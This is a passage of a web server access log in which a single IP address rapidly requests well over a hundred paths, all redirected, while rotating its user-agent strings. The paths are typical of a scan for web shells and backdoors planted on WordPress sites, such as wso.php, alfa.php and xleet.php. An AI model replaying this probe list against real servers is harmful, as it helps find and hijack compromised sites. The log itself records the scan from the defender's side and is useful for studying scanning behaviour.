HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /wp-includes/ID3/wp-work.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:43 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /.well-known/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-admin/js/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/random_compat/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-content/plugins/WordPressCore/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /cgi-bin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/js/jquery/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/images/media/dog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/SimplePie/applicationd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/IXR/security.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-content/plugins/phpadmin/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-content/plugins/seoo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:44 +0300] "GET /wp-includes/fonts/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-admin/xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /templates/beez3/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-admin/css/colors/blue/ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-includes/customize/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /warm.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-content/plugins/ioxi/ioxiworm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /blog/wp-content/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:45 +0300] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-content/plugins/ccx/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/css/dist/edit-widgets/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/css/dist/edit-widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/Requests/src/Exception/Http/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/Text/Diff/Renderer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-admin/css/colors/ocean/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/images/media/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-admin/maint/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/fonts/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/certificates/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /byp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /blog/wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /blog/wp-admin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.86.200.177 - - [21/Apr/2026:01:52:46 +0300] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /cgi-bin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-content/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-includes/certificates/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-content/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /.bod/.ll/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.86.200.177 - - [21/Apr/2026:01:52:47 +0300] "GET 